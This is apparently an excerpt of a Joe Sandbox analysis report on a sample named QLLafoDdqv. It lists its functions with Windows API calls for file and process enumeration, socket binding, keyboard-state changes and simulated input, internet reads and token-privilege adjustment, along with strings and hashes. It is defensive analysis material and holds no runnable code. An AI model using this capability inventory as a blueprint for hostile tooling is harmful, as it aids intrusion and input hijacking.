Instruction Fuzzy Hash: 1F310072104345AFD720DF54CC48BABBBA9FF85310F000919F98697182DBB8EA09CB96

Function 00749B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00749B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00749C8B

Part of subcall function 00743874: GetInputState.USER32 ref: 007438CB
Part of subcall function 00743874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00743966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00749BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00749C75

Strings

*.*, xrefs: 00749B5D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 8dd11add7149dc5ab0d17a56fc657661ed4d19806dc38841bde0c914caba73a3
Instruction ID: 182ebe23035464f94f5a1a4284ce08357c866eb50e0760f73a40d2cca932f5be
Opcode Fuzzy Hash: 8dd11add7149dc5ab0d17a56fc657661ed4d19806dc38841bde0c914caba73a3
Instruction Fuzzy Hash: 6C419071D0020A9FCF55DFB4C989AEEBBB9EF05300F24415AE905A2291EB349E84CF64

Function 006E997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 006E9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 006E9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 006E9A4E
GetSysColor.USER32(0000000F), ref: 006E9B23
SetBkColor.GDI32(?,00000000), ref: 006E9B36

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 71d67bfb49a92f646ffba73c8a7da5ac1453249e6257f14826549e441ab62c2c
Instruction ID: 28c86317299bfd33e0a8eb43354ab93956642fb2f3a4ce3490b17ac741a9cfeb
Opcode Fuzzy Hash: 71d67bfb49a92f646ffba73c8a7da5ac1453249e6257f14826549e441ab62c2c
Instruction Fuzzy Hash: 08A1397010A7A0FEE72D9A2E9D59DBB365FDF82304F144229F902C6791CA2D9D02C676

Function 00751806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0075304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0075307A
Part of subcall function 0075304E: _wcslen.LIBCMT ref: 0075309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0075185D
WSAGetLastError.WSOCK32 ref: 00751884
bind.WSOCK32(00000000,?,00000010), ref: 007518DB
WSAGetLastError.WSOCK32 ref: 007518E6
closesocket.WSOCK32(00000000), ref: 00751915

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 9a6f4fb0ee30d4bc216c5916cd5c2d1326cffc5da6c57927f665e5180eaf2df7
Instruction ID: c407075c5f2950f4b479861e2bb77e6603acefab2388f9c2327bb913dbe9ed29
Opcode Fuzzy Hash: 9a6f4fb0ee30d4bc216c5916cd5c2d1326cffc5da6c57927f665e5180eaf2df7
Instruction Fuzzy Hash: 5551D471A002009FE720AF24C886F6A77E69B44718F54805DF9469F3C3C7B5AD41CBE5

Function 006D8060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

ERCP, xrefs: 006D813C
VUUU, xrefs: 00715DF0
VUUU, xrefs: 006D83FA
VUUU, xrefs: 006D83E8
VUUU, xrefs: 006D843C

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: ERCP$VUUU$VUUU$VUUU$VUUU
API String ID: 0-1546025612
Opcode ID: ba38798e410491dae5b845a6c3c9afdf7cdbd403ea7af68e1c94db77ac390410
Instruction ID: efcc6938f8e35a1f35dbea4f23efc3e309a218667f0b2e7dc190ecb63132d0b8
Opcode Fuzzy Hash: ba38798e410491dae5b845a6c3c9afdf7cdbd403ea7af68e1c94db77ac390410
Instruction Fuzzy Hash: 1CA23C71E0061ACFDF24CF58C8447EDB7B2BB54314F2481AAE855A7385EB789D81CB90

Function 00738298 Relevance: 6.6, APIs: 1, Strings: 3, Instructions: 568stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,?,00000000), ref: 007382AA

Strings

|, xrefs: 007382DA
(, xrefs: 007382F0
tby, xrefs: 007384F4

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: lstrlen
String ID: ($tby$|
API String ID: 1659193697-2466584908
Opcode ID: 05bb3cf3550f4db3ce7c9236ef3b47d4786403cec89c112738ecf8b4305d2f4b
Instruction ID: ba284e5c921038b52b2eb15278b4e4f79bf28b77b3e0acc91572e785a4e4fe4e
Opcode Fuzzy Hash: 05bb3cf3550f4db3ce7c9236ef3b47d4786403cec89c112738ecf8b4305d2f4b
Instruction Fuzzy Hash: B2323574A00705DFDB68CF59C081A6AB7F1FF48710B15856EE49ADB3A2EB74E941CB40

Function 0075A67C Relevance: 6.2, APIs: 4, Instructions: 175processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 0075A6AC
Process32FirstW.KERNEL32(00000000,?), ref: 0075A6BA

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

Process32NextW.KERNEL32(00000000,?), ref: 0075A79C
CloseHandle.KERNEL32(00000000), ref: 0075A7AB

Part of subcall function 006ECE60: CompareStringW.KERNEL32(00000409,00000001,?,00000000,00000000,?,?,00000000,?,00713303,?), ref: 006ECE8A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process32$CloseCompareCreateFirstHandleNextSnapshotStringToolhelp32_wcslen
String ID:
API String ID: 1991900642-0
Opcode ID: 16855abe89def3deff3a485a1ad00df973d8f0baafa1d38b517cee9a0610b007
Instruction ID: 7846b0c523e5dbecaee7f45f4c12ba40fca8bb249599fd89b8535eaecb573475
Opcode Fuzzy Hash: 16855abe89def3deff3a485a1ad00df973d8f0baafa1d38b517cee9a0610b007
Instruction Fuzzy Hash: 28518F71908300AFD750DF24C885A6BBBE9FF89754F00892EF98597351EB74D904CB96

Function 0073AA57 Relevance: 6.1, APIs: 4, Instructions: 107keyboardwindowCOMMON

Download Yara Rule

APIs

GetKeyboardState.USER32(?,00000001,00000040,00000000), ref: 0073AAAC
SetKeyboardState.USER32(00000080), ref: 0073AAC8
PostMessageW.USER32(?,00000102,00000001,00000001), ref: 0073AB36
SendInput.USER32(00000001,?,0000001C,00000001,00000040,00000000), ref: 0073AB88

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: KeyboardState$InputMessagePostSend
String ID:
API String ID: 432972143-0
Opcode ID: 4bd650200eb1c085d6d9ef9c9f27ca8063e517b6d0ee1f2c7e1094429be5ee9a
Instruction ID: 129404737919c7410d2705fcaff36fe9de98f035896fdfe152072b2e7bf3ceb6
Opcode Fuzzy Hash: 4bd650200eb1c085d6d9ef9c9f27ca8063e517b6d0ee1f2c7e1094429be5ee9a
Instruction Fuzzy Hash: E131E7B1A40248BEFF35CB65CC06BFABBAAAB44310F04821AE5C1565D2D37D8981C767

Function 0074CE44 Relevance: 6.1, APIs: 4, Instructions: 75filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000400,?), ref: 0074CE89
GetLastError.KERNEL32(?,00000000), ref: 0074CEEA
SetEvent.KERNEL32(?,?,00000000), ref: 0074CEFE

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorEventFileInternetLastRead
String ID:
API String ID: 234945975-0
Opcode ID: 370d55c21c6df1f56bf593ecd3ddd77ff4c135276c20d69096285406fc835a3a
Instruction ID: 5e83847490e8a6298e77c76b65a89ae602836447611fa2be20e10eb850a88be2
Opcode Fuzzy Hash: 370d55c21c6df1f56bf593ecd3ddd77ff4c135276c20d69096285406fc835a3a
Instruction Fuzzy Hash: 8021CFB2501305DFEB62DFA5C948BA77BFCEB00314F10842EE646D2151E778EE088B54

Function 00702622 Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0070271A
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00702724
UnhandledExceptionFilter.KERNEL32(?), ref: 00702731

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 10c37ab6fa80ee9a3f2465fad78fcb503204293edf5eb32fb2fad4c58867823e
Instruction ID: 6de7ad7c03e04120af60d7a20141a5c827c0e0574be8d558ef923d8ef415efe7
Opcode Fuzzy Hash: 10c37ab6fa80ee9a3f2465fad78fcb503204293edf5eb32fb2fad4c58867823e
Instruction Fuzzy Hash: 9631C47591121C9BCB61DF68DC88798BBB8BF08310F5042EAE90CA6261E7749F818F49

Function 007451CD Relevance: 4.6, APIs: 3, Instructions: 76COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 007451DA
GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00745238
SetErrorMode.KERNEL32(00000000), ref: 007452A1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorMode$DiskFreeSpace
String ID:
API String ID: 1682464887-0
Opcode ID: 1368a1a95e7841840ae6ee3b64f494694afe8f662db0178cf1cb354328d4a80a
Instruction ID: cb428331a942e173e58d8081716f406feec75a5c1e3b666248eb3a6dbb6df7db
Opcode Fuzzy Hash: 1368a1a95e7841840ae6ee3b64f494694afe8f662db0178cf1cb354328d4a80a
Instruction Fuzzy Hash: F3318F75A00608DFDB00DF94D884EADBBB5FF49314F08809AE805AB362DB75EC46CB91

Function 007316C3 Relevance: 4.6, APIs: 3, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 006EFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 006F0668
Part of subcall function 006EFDDB: __CxxThrowException@8.LIBVCRUNTIME ref: 006F0685

LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0073170D
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0073173A
GetLastError.KERNEL32 ref: 0073174A

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Exception@8Throw$AdjustErrorLastLookupPrivilegePrivilegesTokenValue
String ID:
API String ID: 577356006-0
Opcode ID: b3972c858636e6ab0fa7aff2e3fdc459fc30a003364eef0cd6d1f50bdbc1210d
Instruction ID: 058585ce52833b0e7ae5efef695a214eb2aea3def8902183c3392c42866e24c2
Opcode Fuzzy Hash: b3972c858636e6ab0fa7aff2e3fdc459fc30a003364eef0cd6d1f50bdbc1210d
Instruction Fuzzy Hash: 0011C1B2404309AFE718AF54DC86D6ABBBDEF04754B24852EE05657242EB75BC418B24

Function 0073D5EB Relevance: 4.6, APIs: 3, Instructions: 58fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0073D608
DeviceIoControl.KERNEL32(00000000,002D1400,?,0000000C,?,00000028,?,00000000), ref: 0073D645
CloseHandle.KERNEL32(?,?,00000080,00000003,00000000,00000003,00000080,00000000), ref: 0073D650

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CloseControlCreateDeviceFileHandle
String ID:
API String ID: 33631002-0
Opcode ID: 92cd15ec0e4607a55dfc0f5c3501bdad32f40509ec84ba31778af0b7981eb8b4
Instruction ID: 4b94de717043dfe8f0183ecbf240466d265ef23043a4e2c3a595e0f54d22b1a6
Opcode Fuzzy Hash: 92cd15ec0e4607a55dfc0f5c3501bdad32f40509ec84ba31778af0b7981eb8b4
Instruction Fuzzy Hash: 4C117C71E01228BFEB208F95EC45FAFBBBCEB45B50F108111F914E7290C2B44A058BA1

Function 00731663 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?), ref: 0073168C
CheckTokenMembership.ADVAPI32(00000000,?,?), ref: 007316A1
FreeSid.ADVAPI32(?), ref: 007316B1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AllocateCheckFreeInitializeMembershipToken
String ID:
API String ID: 3429775523-0
Opcode ID: fe61f2be3367b20cc2006f2da4fc4e16b2eacfb869aaa6c095d1f1dea4584750
Instruction ID: ce25ff58142e55fb1f2cacf6199394dbe537d454f2c16ef468f29fa9f995e1fd
Opcode Fuzzy Hash: fe61f2be3367b20cc2006f2da4fc4e16b2eacfb869aaa6c095d1f1dea4584750
Instruction Fuzzy Hash: 29F0F471950309FBEB00DFE49D89AAEBBBCEB08604F508565E601E2181E778AA448A54

Function 006F4CE8 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(007028E9,?,006F4CBE,007028E9,007988B8,0000000C,006F4E15,007028E9,00000002,00000000,?,007028E9), ref: 006F4D09
TerminateProcess.KERNEL32(00000000,?,006F4CBE,007028E9,007988B8,0000000C,006F4E15,007028E9,00000002,00000000,?,007028E9), ref: 006F4D10
ExitProcess.KERNEL32 ref: 006F4D22

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 1718cc2e888df65891bc45fcf5e540061adf48f7a6a3b0a8cc9986c471beacb1
Instruction ID: 53034d1fc41a8cb638c4b4dab46f84ac2bb22d4284ca608a6440f235a070d544
Opcode Fuzzy Hash: 1718cc2e888df65891bc45fcf5e540061adf48f7a6a3b0a8cc9986c471beacb1
Instruction Fuzzy Hash: A8E0B63100024CABDF12AF55DD09AAA3F6AEF86781B108018FD569A722DB79DD42CA84

Function 0070C2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 0070C36C

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 3b70dd2df338deecaea4cae5e0a9675701409c17ec331c537c5c7a859d3da43e
Instruction ID: e4962ac9915e105f42fb9ed5e245cadedddf7245ddaaffb5c048f85a8d2ff4cb
Opcode Fuzzy Hash: 3b70dd2df338deecaea4cae5e0a9675701409c17ec331c537c5c7a859d3da43e
Instruction Fuzzy Hash: 15411372900219EBCB209FB9DC89EBBB7B8EB84314F1083A9F905D71C0E6749D818B50

Function 0072D27A Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 0072D28C

Strings

X64, xrefs: 0072D2A8

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: NameUser
String ID: X64
API String ID: 2645101109-893830106
Opcode ID: b8cfc341ca2d6c387d59d4fa769c0111609583b75a211ffec9d90fcdf6681f46
Instruction ID: 1119d53399aea9467d0e0056da3568c405e23970d8a8cd78d314b90c0294ea57
Opcode Fuzzy Hash: b8cfc341ca2d6c387d59d4fa769c0111609583b75a211ffec9d90fcdf6681f46
Instruction Fuzzy Hash: 8BD0C9B480122DEACB90CB90EC88DE9B3BCBB04305F104151F106A2000D77495498F20

Function 006FCAA0 Relevance: 3.5, APIs: 2, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction ID: ba0365c1a72ca61a4afb93015a2935d88e6a427ea186bc285cec63f6549ed68a
Opcode Fuzzy Hash: 2fbdbeface8d474e65e3d830227d731b015bc4fe83c76ff0107a9da6199ccf29
Instruction Fuzzy Hash: 73020B71E0111D9BDF14CFA9C9806EDFBB2EF48324F254169D919EB384D731A941CB94

Function 006DCAF0 Relevance: 3.2, Strings: 2, Instructions: 659COMMON

Download Yara Rule

Strings

Variable is not of type 'Object'., xrefs: 00720C40
p#z, xrefs: 006DCF7F

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID:
String ID: Variable is not of type 'Object'.$p#z
API String ID: 0-3775082255
Opcode ID: c51b3ba3e65c5e96f5d91a15267fe8a92129cdd6abfe6ba7ffc4acf5b93fc963
Instruction ID: c77ace521d97e9d5065aeab2a68c06def175dfd7d0993c73d22dcdbcd5200f6e
Opcode Fuzzy Hash: c51b3ba3e65c5e96f5d91a15267fe8a92129cdd6abfe6ba7ffc4acf5b93fc963
Instruction Fuzzy Hash: 44327B70D00219DBCF14DF94D895AEDB7B6FF05314F24805AE806AB392D779AE46CBA0

Function 007468EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

